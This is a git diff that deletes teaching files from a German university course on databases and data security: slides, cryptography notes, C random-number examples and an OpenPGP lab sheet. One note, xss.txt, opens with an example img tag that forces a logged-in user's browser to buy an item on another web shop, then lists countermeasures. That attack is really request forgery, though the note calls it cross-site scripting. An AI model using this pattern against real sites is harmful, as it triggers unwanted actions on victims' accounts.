b/20240111/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20240111/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20240111/mac-01.txt b/20240111/mac-01.txt deleted file mode 100644 index e757dd976e771a6d501d1721f6eb39b172725201..0000000000000000000000000000000000000000 --- a/20240111/mac-01.txt +++ /dev/null @@ -1,9 +0,0 @@ -Message Authentication Code (MAC) -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Nachricht: Dies ist ein Test. - -Hash-Wert: 8a8c0ba357659d8ad10cc6c79048a07b440c053c50a1a83466440e5a22a319e0 - -mit geheimem Schlüssel verschlüsseln --> MAC - -Empfänger kennt denselben geheimen Schlüssel --> entschlüsseln, mit Hash vergleichen diff --git a/20240111/man-in-the-middle.txt b/20240111/man-in-the-middle.txt deleted file mode 100644 index ce21bc6fd913237565e33fe5b34360096e1a73fb..0000000000000000000000000000000000000000 --- a/20240111/man-in-the-middle.txt +++ /dev/null @@ -1,41 +0,0 @@ -Diffie-Hellman-Schlüsselaustausch -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Alice Bob - - <------ gemeinsam: e ---> - -geheim: a geheim: b - - A = e^a --------------> - - <-------------------- B = e^b - -B^a = e^(b·a) A^b = e^(a·b) - ~~~~~~~ ~~~~~~~ <----- gemeinsamer geheimer Schlüssel - -Man-In-The-Middle-Angriff -~~~~~~~~~~~~~~~~~~~~~~~~~ -Alice Mallory Bob - - <------ gemeinsam: e---------> <------------ gemeinsam -------> - -geheim: a m geheim: b - - A = e^a --------------------> A m ----------------------------> - - <----------------------- M = e^m B <------------------------- B = e^b - -M^a = e^(m·a) M^b = e^(m·b) - -Gegenmaßnahme: Sorgfalt beim Schlüsselaustausch -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Öffentlicher Schlüssel von Alice an Bob: - -Alice Bob - - A = e^a --------------> - -Hash-Wert des Schlüssels ("Fingerprint") über separaten Kanal austauschen -z.B. Telefonat: Stimme erkennen -- Achtung: KI kann Stimme fälschen -z.B. Visitenkarte diff --git a/20240111/pgslides.sty b/20240111/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20240111/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20240111/random-01.c b/20240111/random-01.c deleted file mode 100644 index a3a48cfc04fa79dd382feee65cb4721b087532d9..0000000000000000000000000000000000000000 --- a/20240111/random-01.c +++ /dev/null @@ -1,10 +0,0 @@ -#include <stdio.h> -#include <stdlib.h> - -int main (void) -{ - for (int i = 0; i < 10; i++) - printf ("%d ", rand ()); - printf ("\n"); - return 0; -} diff --git a/20240111/random-02.c b/20240111/random-02.c deleted file mode 100644 index dd8a2e8b4c85fa306ba57c82cdc4ca5a626484a3..0000000000000000000000000000000000000000 --- a/20240111/random-02.c +++ /dev/null @@ -1,10 +0,0 @@ -#include <stdio.h> -#include <stdlib.h> - -int main (void) -{ - for (int i = 0; i < 10; i++) - printf ("%d ", rand () % 26); - printf ("\n"); - return 0; -} diff --git a/20240111/random-03.c b/20240111/random-03.c deleted file mode 100644 index 6f32d19627c76cdeccefd8b3c3eee76402b79ea5..0000000000000000000000000000000000000000 --- a/20240111/random-03.c +++ /dev/null @@ -1,11 +0,0 @@ -#include <stdio.h> -#include <stdlib.h> - -int main (void) -{ - srand (42); - for (int i = 0; i < 10; i++) - printf ("%d ", rand () % 26); - printf ("\n"); - return 0; -} diff --git a/20240111/random-04.c b/20240111/random-04.c deleted file mode 100644 index f1d322840dcafb4b9a0f41cb19f83b99293c3ee4..0000000000000000000000000000000000000000 --- a/20240111/random-04.c +++ /dev/null @@ -1,12 +0,0 @@ -#include <stdio.h> -#include <stdlib.h> -#include <unistd.h> - -int main (void) -{ - srand (getpid ()); - for (int i = 0; i < 10; i++) - printf ("%d ", rand () % 26); - printf ("\n"); - return 0; -} diff --git a/20240117/dbs-2023ws-p3.pdf b/20240117/dbs-2023ws-p3.pdf deleted file mode 100644 index 4e60632e626d5a62b0116b4abdcf4ec982455a09..0000000000000000000000000000000000000000 Binary files a/20240117/dbs-2023ws-p3.pdf and /dev/null differ diff --git a/20240117/dbs-2023ws-p3.tex b/20240117/dbs-2023ws-p3.tex deleted file mode 100644 index e526c9c0beccee68cf85d32a8d5b8adb0678d180..0000000000000000000000000000000000000000 --- a/20240117/dbs-2023ws-p3.tex +++ /dev/null @@ -1,113 +0,0 @@ -% dbs-2023ws-p3.pdf - Labor Notes on Databases and Information Security -% Copyright (C) 2024 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Versuch 3: Public-Key-Verschlüsselung - -\documentclass[a4paper]{article} - -\usepackage{pgscript} -\usepackage{multicol} -\usepackage{sfmath} - -\sloppy -\pagestyle{empty} -\addtolength{\textheight}{1cm} -\newcommand{\sep}{~$\cdot$~} -\newcommand{\mylicense}{CC BY-SA (Version 4.0) oder GNU GPL (Version 3 oder höher)} - -\begin{document} - - \makebox(0,0.005)[tl]{\includegraphics[scale=0.72]{logo-hochschule-bochum-cvh-text-v2.pdf}}\hfill - \makebox(0,0)[tr]{\includegraphics[scale=0.5]{logo-hochschule-bochum.pdf}} - \par\bigskip\bigskip - \begin{center} - \Large\textbf{Praktikumsversuch 3: Public-Key-Verschlüsselung} - \par\medskip - \normalsize Datenbanken und Datensicherheit\sep - Wintersemester 2023/24\sep - Prof.~Dr.~Peter Gerwinski - \end{center} - - Aufgabe: Tauschen Sie mit einem Betreuer - -- unter Berücksichtigung aller Sicherheitsmaßnahmen beim Schlüsselaustausch -- - verschlüsselte E-Mails gemäß dem OpenPGP-Standard aus. - -% \begin{multicols}{2} - \begin{itemize} - \item - Installieren Sie auf einem Rechner Software eigener Wahl - zum Versenden und Empfangen von verschlüsselter E-Mail - gemäß dem OpenPGP-Standard (RFC 4880/5581/6637). - Geeignete Software finden Sie per Web-Suche. - \item - Erstellen Sie für sich selbst ein Schlüsselpaar, - bestehend aus einem öffentlichen und einem geheimen Schlüssel. - \item - Lassen Sie Ihnen öffentlichen Schlüssel einem Betreuer zukommen. - Stellen Sie durch Vergleich der Schlüssel-Fingerabdrücke sicher, - daß der Schlüsselaustausch erfolgreich war. - \item - Besorgen Sie sich den öffentlichen Schlüssels eines Betreuers. - Stellen Sie durch Vergleich der Schlüssel-Fingerabdrücke sicher, - daß der Schlüsselaustausch erfolgreich war. - \item - Senden Sie eine verschlüsselte Nachricht an einen Betreuer. - Sobald Sie darauf eine verschlüsselte Antwort bekommen - und entschlüsseln können, ist der Praktikumsversuch bestanden. - \item - Optional: Überzeugen Sie Ihren Betreuer von Ihrer persönlichen Identität - (z.\,B.\ durch Vorzeigen eines amtlichen Lichtbildausweises) - und lassen Sie sich von ihm Ihren persnölichen öffentlichen Schlüssel - unterschreiben (zertifizieren). - \item - Optional: Überzeugen Sie sich von der persönlichen Identität - Ihres Betreuers, unterschreiben (zertifizieren) Sie seinen - öffentlichen Schlüssel und lassen Sie ihm seinen eigenen Schlüssel - mit Ihrer Unterschrift zukommen. - \item - Hintergrund: Durch das gegenseitige Zertifizieren von Schlüsseln - entsteht ein \emph{Web of Trust}. - \end{itemize} -% \end{multicols} - - \strut\hfill\emph{Viel Erfolg!} - - \vfill - - \begingroup - - \small - - \setlength{\leftskip}{3cm} - - Stand: 16.\ Januar 2024 - - Copyright \copyright\ 2024\quad Peter Gerwinski\\ - Lizenz: \mylicense - - Sie können diese Praktikumsunterlagen einschließlich \LaTeX-Quelltext - herunterladen unter:\\ - \url{https://gitlab.cvh-server.de/pgerwinski/dbs} - - \endgroup - -\end{document} diff --git a/20240117/logo-hochschule-bochum-cvh-text-v2.pdf b/20240117/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20240117/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20240117/logo-hochschule-bochum.pdf b/20240117/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20240117/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20240117/pgscript.sty b/20240117/pgscript.sty deleted file mode 120000 index 95c888478c99ea7fda0fd11ccf669ae91be7178b..0000000000000000000000000000000000000000 --- a/20240117/pgscript.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgscript.sty \ No newline at end of file diff --git a/20240118/Authentisieren-authentifizieren.png b/20240118/Authentisieren-authentifizieren.png deleted file mode 100644 index 1ef3814ca0343ae315442f161ad2eb9fb9db2348..0000000000000000000000000000000000000000 Binary files a/20240118/Authentisieren-authentifizieren.png and /dev/null differ diff --git a/20240118/Zeichen_123.pdf b/20240118/Zeichen_123.pdf deleted file mode 120000 index fdbc897227df059cfda790a16555e6e417682116..0000000000000000000000000000000000000000 --- a/20240118/Zeichen_123.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Zeichen_123.pdf \ No newline at end of file diff --git a/20240118/dbs-20240118.pdf b/20240118/dbs-20240118.pdf deleted file mode 100644 index 8947b920550e48e337a962cc1c561db61925a81a..0000000000000000000000000000000000000000 Binary files a/20240118/dbs-20240118.pdf and /dev/null differ diff --git a/20240118/dbs-20240118.tex b/20240118/dbs-20240118.tex deleted file mode 100644 index c64e8e761b99c4b2bcda0d513730b22599e87f3d..0000000000000000000000000000000000000000 --- a/20240118/dbs-20240118.tex +++ /dev/null @@ -1,633 +0,0 @@ -% dbs-20240118.pdf - Lecture Slides on Databases and Information Security -% Copyright (C) 2024 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Ausfallsicherheit - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} - -\newcommand{\vfilll}{\vspace{0pt plus 1filll}} - -\newcommand{\underconstruction}{% - \begin{picture}(0,0) - \put(11,1.2){\makebox(0,0)[b]{\includegraphics[width=1.5cm]{Zeichen_123.pdf}}} - \put(11,0.9){\makebox(0,0)[t]{\shortstack{Änderungen\\vorbehalten}}} - \end{picture}} - -\title{Datenbanken und Datensicherheit} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{18.\ Januar 2024} - -\begin{document} - -\maketitleframe - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \item[\textbf{4}] \textbf{Relationale Datenbanken} - \begin{itemize} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \item[4.11] GUI-Zugriff - \color{medgreen} - \item[4.12] SQL Injection - \item[4.13] Datensicherheit bei Datenbanken - \item[4.14] Sonstige Datenbanken - \end{itemize} - \item[\textbf{5}] \textbf{Kryptographie} - \begin{itemize} - \color{medgreen} - \item[5.1] Einführung - \item[5.2] Symmetrische Verschlüsselung - \item[5.3] Asymmetrische Verschlüsselung - \item[5.4] Signaturen - \vspace*{-\smallskipamount} - \item[\dots] - \end{itemize} - \item[\textbf{6}] \textbf{Netzwerksicherheit} - \item[\textbf{7}] \textbf{Verfügbarkeit} - \item[\textbf{8}] \textbf{Datenschutz} - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\setcounter{section}{3} -\section{Relationale Datenbanken} -\setcounter{subsection}{10} -\subsection{SQL Injection} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - Problem: - \begin{itemize} - \item - Ein böswilliger Benutzer gibt über eine Benutzerschnittstelle - (z.\,B.\ ein Web-Interface) Daten ein (z.\,B.\ einen "`Namen"'), - die Sonderzeichen enthalten, damit sie als SQL-Befehle ausgeführt werden. - \item - Literatur: \url{https://xkcd.com/327/} - \end{itemize} - - \medskip - - Lösung: Die Benutzerschnittstelle prüft die Daten auf Sonderzeichen\\ - und ersetzt diese durch geeignete Escape-Sequenzen - \begin{itemize} - \item - \lstinline[style=cmd]{'} durch \lstinline[style=cmd]{''} ersetzen - \item - Funktion \lstinline[style=cmd]{CHR()} - \item - Viele DBMS verstehen ein vorangestelltes \lstinline[style=cmd]{\}. - \end{itemize} - - \medskip - - Bessere Lösung: \newterm{Prepared Statements} - \begin{itemize} - \item - \url{https://www.postgresql.org/docs/current/sql-prepare.html} - \item - \url{https://www.w3schools.com/php/php_mysql_prepared_statements.asp} - \end{itemize} - -\end{frame} - -\subsection{Datensicherheit bei Datenbanken} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} - \item - kein direkter Zugriff von außen auf die Datenbank - \item - feingranulare Benutzerrechte - \item - Software aktuell halten - \item - Prepared Statements - \item - Transportverschlüsselung - \end{itemize} - -\end{frame} - -\subsection{Sonstige Datenbanken} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} - \item - Eingebettete Datenbanken:\\ - Berkeley DB, SQLite\\ - Software-Bibliothek, keine Client-Server-Struktur - \item - Nicht-relationale Datenbanken:\\ - dokumentenorientierte Datenbanken, noSQL\\ - Performanz wichtiger als Konsistenz\\ - \textarrow\ Applikationen stärker in Konsistenzprüfung eingebunden - \end{itemize} - -\end{frame} - -\section{Kryptographie} -\subsection{Einführung} - -\begin{frame} - - \showsection - \showsubsection - - \textbf{Was ist Datensicherheit?} - - \smallskip - - \begin{minipage}[t]{0.24\textwidth} - \begin{itemize} - \item[] \strut - \item Vertraulichkeit - \item Integrität\\\strut - \item Verfügbarkeit - \end{itemize} - \end{minipage}% - \begin{minipage}[t]{0.25\textwidth} - \begin{itemize} - \item[] (CIA) - \item[] (confidentiality) - \item[] (integrity)\\\strut - \item[] (availability) - \end{itemize} - \end{minipage}\quad - \begin{minipage}[t]{0.45\textwidth} - \begin{itemize} - \item[] \strut - \arrowitem {\only<2->{\color{red}}Verschlüsselung} - \arrowitem Konsistenzprüfungen,\\ - Prüfwerte, {\only<2->{\color{red}}Signaturen} - \arrowitem Backups, Ausfallsicherheit - \end{itemize} - \end{minipage} - - \bigskip - - \begin{itemize} - \item - Identifizierbarkeit - (Authentizität, Nichtabstreitbarkeit, Zurechenbarkeit)\\ - \textarrow\ {\only<2->{\color{red}}Passwörter}, - {\only<2->{\color{red}}Signaturen}\\[\smallskipamount] - bzw. - \item - Anonymität - (plausible Abstreitbarkeit, Nichtzurechenbarkeit)\\ - \textarrow\ Pseudonymisierung, Anonymisierung,\\ - \phantom{\textarrow\ }{\only<2->{\color{red}}Verschlüsselung}, Steganographie - \pause\hfill\textcolor{red}{\textarrow\ Kryptographie} - \end{itemize} - -\end{frame} - -\subsection{Symmetrische Verschlüsselung} - -\begin{frame} - - \showsection - - \textbf{Kryptographie} - \begin{itemize} - \item - Verschlüsselung: symmetrisch, asymmetrisch, hybrid - \item - Hashes: Einwegfunktionen, Salt - \item - Signaturen, Zertifikate - \item - Schlüsselaustausch - \end{itemize} - - \bigskip - - \showsubsection - - \vspace{-\medskipamount} - - \begin{itemize} - \item - Derselbe Schlüssel zum Ver- und Entschlüsseln - \item - Beispiele: - {\only<6->{\color{red}}Cäsar-Chiffre}, - {\only<6->{\color{red}}Monoalphabetische Substitution}\pause,\\ - One Time Pad\visible<4->{,}\\ - \visible<4->{% - \only<5->{\emph{spezielle }}Pseudozufallszahlengenerator\only<5->{en}, - Startwert als Schlüssel\only<5->{:}\\ - \visible<5->{ - {\only<6->{\color{red}}Enigma}, - {\only<6->{\color{red}}DES}, - {\only<6->{\color{orange}}3DES}, - {\only<6->{\color{orange}}RC4}, - IDEA, - Blowfish, - TwoFish, - CAST, - AES, - \dots - } - } - \pause - \item - Problem: Schlüsselaustausch - \pause[7] - \item - Lösung: \newterm{asymmetrische Verschlüsselung} - \end{itemize} - -\end{frame} - -\subsection{Asymmetrische Verschlüsselung} - -\begin{frame} - - \showsubsection - - \vspace{-\medskipamount} - - \begin{itemize} - \item - verschiedene Schlüssel zum Ver- und Entschlüsseln:\\ - öffentlicher und privater Schlüssel - \item - Prinzip: mathematische Operation,\\ - einfach durchzuführen, schwer rückgängig zu machen - \medskip - \item - Beispiel: $N = p \cdot q$ -- einfacher als Primfaktorzerlegung von $N$ - \textarrow\ RSA\\[\smallskipamount] - $73 \cdot 97 = 7081$: geht notfalls noch im Kopf\\ - Primfaktorzerlegung von $7081$: mindestens schriftlich, besser mit Rechner - \medskip - \item - Beispiel: $c = b^a$ -- einfacher als $a = \log_b c$ - \textarrow\ Diffie-Hellman, ElGamal\\[\smallskipamount] - $7^5 = 16807$: geht notfalls noch im Kopf\\ - $\log_7 16807$: mindestens schriftlich, besser mit Rechner - \medskip - \arrowitem - Details: Algorithmen und Datenstrukturen - \pause - \bigskip - \item - Nachteil: wesentlich aufwendiger und daher langsamer\\ - als symmetrische Verschlüsselung - \arrowitem - \newterm{hybride Verschlüsselung}: nur Schlüsselaustausch asymmetrisch,\\ - eigentliche Verschlüsselung symmetrisch - \end{itemize} - -\end{frame} - -\subsection{Signaturen} - -\begin{frame} - - \showsubsection - - \vspace{-\medskipamount} - - \begin{itemize} - \item - \newterm{kryptographische Hash-Funktion\/}: - leicht auszurechnen, schwer zu manipulieren - \item - asymmetrisch: \newterm{Signatur}\\ - Hash-Wert mit privatem Schlüssel verschlüsseln,\\ - mit öffentlichem Schlüssel entschlüsseln - \item - symmetrisch: \newterm{Message Authentication Code\/} (MAC)\\ - z.\,B.\ Hash-Wert über Nachricht + geheimer Schlüssel - \end{itemize} - - \pause - \bigskip - - Angriffsmöglichkeit: \newterm{Man-in-the-middle\/}-Angriff\\ - Beim Schlüsselaustausch anderen Schlüssel unterschieben\\ - \textarrow\ Sorgfalt beim Schlüsselaustausch - - \pause - \bigskip - - \textbf{Praxis-Beispiele} - \begin{itemize} - \item - SSH - \item - HTTPS - \item - OpenPGP - \end{itemize} - -\end{frame} - -\subsection{Authentifizierung} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - Zugangsdaten:\hfill - \makebox(0,0)[tr]{% - \begin{minipage}[t]{7cm} - \vspace*{-0.5cm} - \begin{center} - \includegraphics[width=7cm]{Authentisieren-authentifizieren.png}\\ - \tiny - Bild: \url{https://de.wikipedia.org/wiki/Datei:Authentisieren-authentifizieren.png} - \end{center} - \end{minipage}}\\ - Benutzername, Passwort - \smallskip - \item - Problem:\\ - Zugangsdaten mitlesen - \item - Lösung:\\ - verschlüsselte Verbindung - \only<1>{% - \smallskip - \item - Problem:\\ - Zugangsdaten speichern - \item - Lösung:\\ - Hash-Wert statt Passwort\\ - speichern - \smallskip - \item - Problem:\\ - gleiche Passwörter identifizierbar - \item - Lösung:\\ - \newterm{Salt} - } - \only<2->{% - \item - Lösung:\\ - \newterm{Challenge-Response-Authentifizierung}\\ - Beispiel: HTTP Digest - \vfilll - \begin{itemize} - \item - gemeinsamer geheimer Schlüssel (Passwort) - \item - Server schickt \newterm{Nonce\/} an Benutzer - \item - Benutzer schickt Hash über [Passwort + Nonce] an Server - \item - Server berechnet denselben Hash - \textarrow\ Authentifizierung erfolgreich - \item - Nonce nur einmal verwenden!\\ - ("`number used once"') - \end{itemize} - } - \end{itemize} - -\end{frame} - -\subsection{Quantencomputer} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - Prinzip: $2^n$ Berechnungen gleichzeitig\\ - ($n$ = Registerbreite) - \arrowitem - Klassisch schwierige Probleme werden einfacher. - \item - Beispiel: Primfaktorzerlegung: - $\mathcal{O}(n^3)$ - statt $\mathcal{O}\bigl(2^{\sqrt{n\log n}}\bigr)$ - \item - Problem für asymmetrische Verschlüsselungsalgorithmen,\\ - z.\,B.\ RSA (Primfaktorzerlegung), ElGamal (diskreter Logarithmus) - \item - weniger problematisch für symmetrische Verschlüsselungsalgorithmen - \arrowitem - Suche nach Post-Quanten-Kryptographie\\ - Beispiel: McEliece-Kryptosystem - \arrowitem - \newterm{Forward Secrecy}\\ - Kompromittierung betrifft nur zukünftige Kommunikation,\\ - nicht bereits vergangene. - \vfilll - Beispiel: - \begin{itemize} - \item - RSA nur für Authentifizierung - \item - Austausch eines Sitzungsschlüssels via Diffie-Hellman - \item - Kommunikation über Sitzungsschlüssel (symmetrisch) - \item - Sitzungsschlüssel nur einmal verwenden! - \end{itemize} - \end{itemize} - -\end{frame} - -\section{Netzwerksicherheit} - -\begin{frame} - - \showsection - - \begin{itemize} - \item - Firewall: nur bestimmte IP-Adressen / Ports / Inhalte zulassen - \item - VPN: verschlüsselte Verbindung von Netzwerken\\ - über ansonsten unsichere Verbidung (Internet) - \item - \newterm{Intrusion Detection System} - \end{itemize} - - \bigskip - - Anonymität - \begin{itemize} - \item - Beispiel: Tor -- Zwiebel-Routing - \begin{itemize} - \item - Tor-Browser - \item - Tails - \end{itemize} - \item - Beispiel: Corona-Warn-App - \end{itemize} - - \bigskip - - Cross-Site-Scripting - -\end{frame} - -\begin{frame} - - \showsection - - Die menschliche Komponente - \begin{itemize} - \item - Bequemlichkeit - \item - Social Engineering - \begin{itemize} - \item - \newterm{Phishing} - \item - KI-Sprachmodelle - \end{itemize} - \end{itemize} - - \bigskip - - \begin{quote} - Es gibt für jedes menschliche Problem\\ - immer eine wohl bekannte Lösung -\\ - sauber, einleuchtend, und falsch. - \begin{flushright} - \em - Henry Louis Mencken, The Divine Afflatus, 1917\\ - \small\url{https://de.wikiquote.org/wiki/Lösung} - \end{flushright} - \end{quote} - -\end{frame} - -\section{Verfügbarkeit} - -\begin{frame} - - \showsection - - Wann wird wirklich auf den Datentäger geschrieben? - \begin{itemize} - \item - DBMS: Persistenz-Einstellungen - \item - \newterm{Write Ahead Log\/} (WAL)\\ - \newterm{Journaling-Dateisysteme} - \item - \newterm{CAP-Theorem} - \end{itemize} - - Daten sicher aufbewahren - \begin{itemize} - \item - Backup - \item - RAID - \end{itemize} - - Hochverfügbarkeit - \begin{itemize} - \item - allgemein: \newterm{High-Availability-Cluster} - \item - speziell: Datenbank-Cluster: Replikation über mehrere Server - \end{itemize} - -\end{frame} - -\section{Datenschutz} - -\begin{frame} - - \showsection - - \begin{itemize} - \item - Schutz vor mißbräuchlicher Datenverarbeitung - \item - informationelle Selbstbestimmung - \item - Persönlichkeitsrecht - \item - Privatsphäre - \end{itemize} - - \bigskip - - Datenmißbrauch ermöglicht hohe Gewinne - \begin{itemize} - \arrowitem - viel Interesse an persönlichen Daten - \arrowitem - "`Datenschutz hemmt den Fortschritt!"'% - \begin{picture}(0,0) - \color{red}\thicklines - \put(-2.54,0.1){\line(1,0){2.54}} - \end{picture}\, - die persönliche Bereicherung - \end{itemize} - - \bigskip - - \begin{itemize} - \item - DSGVO - \end{itemize} - -\end{frame} - -\end{document} diff --git a/20240118/logo-hochschule-bochum-cvh-text-v2.pdf b/20240118/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20240118/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20240118/logo-hochschule-bochum.pdf b/20240118/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20240118/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20240118/onion-routing.txt b/20240118/onion-routing.txt deleted file mode 100644 index cba2b7e43e4525595db4e873175d3be4bc6f0615..0000000000000000000000000000000000000000 --- a/20240118/onion-routing.txt +++ /dev/null @@ -1,44 +0,0 @@ -Client IP: 10.238.3.4 - - - wählt Route durch mehrere Anonymisierungsstellen, typischerweise 3 - - erste Ziel-Adresse: 172.16.45.55 - - zweite Ziel-Adresse: 172.31.3.17 (verschlüsselt) - - dritte Ziel-Adresse: 192.168.117.12 (zweifach verschlüsselt) - - vierte und echte Ziel-Adresse: 192.168.42.1 (dreifach verschlüsselt) - - verschlüsselt für Anonymisierungsstelle 1: - - echte Absender-Adresse: 10.238.3.4 (verschlüsselt) - - Anonymisierungsstelle 2 - -Anonymisierungsstelle 1, IP: 172.16.45.55 - - - kennt echte Absender-Adresse, verschlüsselt sie neu, - so daß Anonymisierungsstelle 2 sie nicht mehr lesen kann - - entschlüsselt zweite Ziel-Adresse - - kennt nicht die dritte Ziel-Adresse - -Anonymisierungsstelle 2, IP: 172.31.3.17 - - - kennt Absender: Anonymisierungsstelle 1 - - entschlüsselt dritte Ziel-Adresse - - kennt nicht die vierte Ziel-Adresse - -Anonymisierungsstelle 3, IP: 192.168.117.12 - - - kennt Absender: Anonymisierungsstelle 2 - - entschlüsselt vierte Ziel-Adresse - -Server IP: 192.168.42.1 <-- 10.238.3.4 - ---> Jede Anonymisierungsstelle kennt nur die Vorgänger- und Nachfolger-Adresse, - nicht jedoch Absender und Empfänger (bis auf Eintritts- und Austrittsknoten). - - -Andere Möglichkeit: Server und Client "treffen sich" im Tor-Netzwerk - bei einer Anonymisierungsstelle (Tor-Adressen) - - -Vorteile: - - Demokratie wahren in restriktiven Regimes (Dissidenten) - - Mißstände melden (Whistleblower) -Nachteile: - - Mißbrauch durch Verbrechen diff --git a/20240118/pgslides.sty b/20240118/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20240118/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20240118/xss.txt b/20240118/xss.txt deleted file mode 100644 index ac392ede6d7385fc4710cbf1e15d53dc791d799c..0000000000000000000000000000000000000000 --- a/20240118/xss.txt +++ /dev/null @@ -1,17 +0,0 @@ -<img src="https://anderer-webshop.example.de?article=teures_geraet&sofortkauf=yes"/> - -Cross-Site-Scripting: - - Benutzer ist bereits an einem Server angemeldet - - Angreifer bringt benutzer dazu, manipulierte URL aufzurufen - - Anmeldedaten sind bereits im Browser hinterlegt - --> manipulierte URL kann ohne neue Authentifizierung aktiv werden (z.B. Dinge einkaufen) - ---> Angreifer läßt Benutzer in seinem Namen Befehle für Angreifer ausführen - - -Gegenmaßnahmen: - - aktuelle Browser - - Benutzer schulen ("Nicht auf alles draufklicken!") - - keine GET-Requests benutzen (Parameter nicht in URL kodieren), - sondern POST-Requests (Parameter über HTTP-Verbindung senden) - - In Cookies immer "same site" hinterlegen! diff --git a/20231005/A_Day_in_the_Life_of_a_Wartime_Housewife-_Everyday_Life_in_London,_England,_1941_D2379.jpg b/20241002/A_Day_in_the_Life_of_a_Wartime_Housewife-_Everyday_Life_in_London,_England,_1941_D2379.jpg similarity index 100% rename from 20231005/A_Day_in_the_Life_of_a_Wartime_Housewife-_Everyday_Life_in_London,_England,_1941_D2379.jpg rename to 20241002/A_Day_in_the_Life_of_a_Wartime_Housewife-_Everyday_Life_in_London,_England,_1941_D2379.jpg diff --git a/20231005/Computergebouw_van_KLM_voor_automatische_boekingsmethode_Corda_in_Amstelveen._,_Bestanddeelnr_923-3365.jpg b/20241002/Computergebouw_van_KLM_voor_automatische_boekingsmethode_Corda_in_Amstelveen._,_Bestanddeelnr_923-3365.jpg similarity index 100% rename from 20231005/Computergebouw_van_KLM_voor_automatische_boekingsmethode_Corda_in_Amstelveen._,_Bestanddeelnr_923-3365.jpg rename to 20241002/Computergebouw_van_KLM_voor_automatische_boekingsmethode_Corda_in_Amstelveen._,_Bestanddeelnr_923-3365.jpg diff --git a/20231005/Ken_Thompson_(sitting)_and_Dennis_Ritchie_at_PDP-11_(2876612463).jpg b/20241002/Ken_Thompson_(sitting)_and_Dennis_Ritchie_at_PDP-11_(2876612463).jpg similarity index 100% rename from 20231005/Ken_Thompson_(sitting)_and_Dennis_Ritchie_at_PDP-11_(2876612463).jpg rename to 20241002/Ken_Thompson_(sitting)_and_Dennis_Ritchie_at_PDP-11_(2876612463).jpg diff --git 